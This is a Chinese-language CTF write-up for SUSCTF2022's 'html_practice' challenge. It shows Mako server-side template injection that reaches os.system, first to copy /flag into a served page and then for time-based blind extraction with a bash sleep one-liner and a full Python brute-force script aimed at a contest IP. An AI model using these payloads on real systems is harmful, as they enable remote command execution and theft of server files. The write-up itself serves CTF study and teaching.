sus2021-html_practice

susctf2022-html_practice

尝试各种渲染

1
{ } {{ }} {% %} % % 

发现能成功渲染的是Mako框架的

1
2
3
% for a in (1,2,3):
1
% endfor

解法一,执行命令

主输入框过滤太多,侧信道,转化为用get参数来执行命令

1
2
3
% for a in (self.module.cache.util.os.system(name),2,3):
1
% endfor

参数提交

1
?name=cat /flag > ./template/flag.html

再访问,但再访问时候要记得加上get参数name=,因为之前渲染的时候,也是加了的,去掉的话会报error,毕竟他路由规则就这么写的

关于为什么不出网,收不到dnslog,因为docker是被阉割的环境

因此执行命令后访问:

1
/view/flag.html?name=

解法二,盲注:

如果执行成功,就是显示123,否则,显示多个123,就是错误码的个数是多少个

1
2
3
% for i in range(0,self.module.runtime.util.os.system(set(pageargs.values()).pop())):
123
% endfor

用bash语句进行盲注

1
if [ $(printf "%d" "'$(cat /flag|cut -c {})") -eq {} ];then sleep 3;fi

把flag用cut -c一位一位取出来,格式化成%d打印出来,然后和可见ascii用-eq逐一比较,这里后面两个{}{}是格式化python的,%d是格式化bash的,cut -c是一位一位取,-eq是equal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string
import urllib.parse

url="http://81.70.59.112:8001/view/zsrAc6xkyI9d3XPZl4SCJL8UFfGOE7eY.html?name="
payload1 ="""if [ $(printf "%d" "'$(cat /flag|cut -c {})") -eq {} ];then sleep 3;fi"""
s=string.ascii_letters+string.digits+'{@~^*_+-\'\"?/\\<>}'
# s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
flag=''
for i in range(7,100):
f=flag
for j in range(48,128):
try:
u=url+urllib.parse.quote(payload1.format(str(i),j))
r=requests.get(u,timeout=1.8)
except requests.exceptions.ReadTimeout as e:
flag=flag+chr(j)
print(chr(j))
break
if f==flag:
break
print(flag)